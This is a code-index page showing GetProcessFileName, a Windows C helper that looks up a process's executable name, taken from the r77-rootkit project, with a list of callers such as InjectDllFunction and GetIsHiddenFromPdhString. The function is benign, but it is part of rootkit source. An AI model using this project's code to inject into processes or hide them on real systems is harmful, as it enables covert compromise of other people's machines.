MCPcopy Index your code
hub / github.com/bytecode77/r77-rootkit / GetProcessFileName

Function GetProcessFileName

r77api/r77win.c:217–239  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

215 return result;
216}
217BOOL GetProcessFileName(DWORD processId, PWCHAR fileName, DWORD fileNameLength)
218{
219 BOOL result = FALSE;
220
221 HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
222 if (process)
223 {
224 WCHAR path[MAX_PATH + 1];
225 if (GetProcessImageFileNameW(process, path, MAX_PATH))
226 {
227 PWCHAR resultFileName = PathFindFileNameW(path);
228 if ((DWORD)lstrlenW(resultFileName) <= fileNameLength)
229 {
230 StrCpyW(fileName, resultFileName);
231 result = TRUE;
232 }
233 }
234
235 CloseHandle(process);
236 }
237
238 return result;
239}
240BOOL GetProcessPath(DWORD processId, PWCHAR fileName, DWORD fileNameLength)
241{
242 BOOL result = FALSE;

Callers 5

InjectDllFunction · 0.85
GetIsHiddenFromPdhStringFunction · 0.85
ControlCallbackFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected